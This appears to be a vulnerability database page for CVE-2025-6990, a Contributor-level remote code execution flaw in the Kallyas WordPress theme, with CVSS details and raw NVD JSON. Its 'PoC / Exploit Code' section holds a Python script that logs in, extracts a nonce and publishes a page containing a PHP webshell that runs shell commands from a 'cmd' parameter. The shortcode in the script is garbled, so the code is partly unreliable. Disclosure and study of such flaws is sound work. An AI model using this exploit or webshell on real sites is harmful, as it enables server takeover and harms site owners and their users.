Security Vulnerability Report
中文
CVE-2025-6990 CVSS 8.8 HIGH

CVE-2025-6990

Published: 2025-11-01 08:15:33
Last Modified: 2026-04-15 00:35:42

Description

The kallyas theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.24.0 via the `TH_PhpCode` pagebuilder widget. This is due to the theme not restricting access to the code editor widget for non-administrators. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Kallyas主题 <= 4.24.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-6990 PoC - Kallyas Theme RCE # Requires Contributor+ level access to WordPress import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" # PHP payload for code execution (webshell) PHP_PAYLOAD = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" def exploit(): session = requests.Session() # Step 1: Login to WordPress with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful with Contributor account") # Step 2: Create new page page_url = f"{TARGET_URL}/wp-admin/post-new.php?post_type=page" page_response = session.get(page_url) # Extract nonce for page creation soup = BeautifulSoup(page_response.text, 'html.parser') nonce_field = soup.find('input', {'id': '_wpnonce_create-page'}) if not nonce_field: print("[-] Could not find nonce") return False nonce = nonce_field.get('value') # Step 3: Add page with malicious PHP code via TH_PhpCode widget # This simulates using the Kallyas pagebuilder with TH_PhpCode widget post_data = { 'post_title': 'Malicious Page', 'post_status': 'publish', 'content': '[zn区"php_code]\n' + PHP_PAYLOAD + '\n[/zn区"php_code]', '_wpnonce_create-page': nonce, 'publish': 'Publish' } publish_response = session.post(page_url, data=post_data) if publish_response.status_code == 200: print("[+] Malicious page created successfully") print(f"[+] Access the page at: {TARGET_URL}/?page_id=<ID>&cmd=whoami") return True print("[-] Failed to create page") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6990", "sourceIdentifier": "[email protected]", "published": "2025-11-01T08:15:32.600", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The kallyas theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.24.0 via the `TH_PhpCode` pagebuilder widget. This is due to the theme not restricting access to the code editor widget for non-administrators. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://my.hogash.com/changelog_category/kallyas-wordpress-theme/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/721d29e4-397d-4965-bd64-33bced8e5de4?source=cve", "source": "[email protected]"}]}}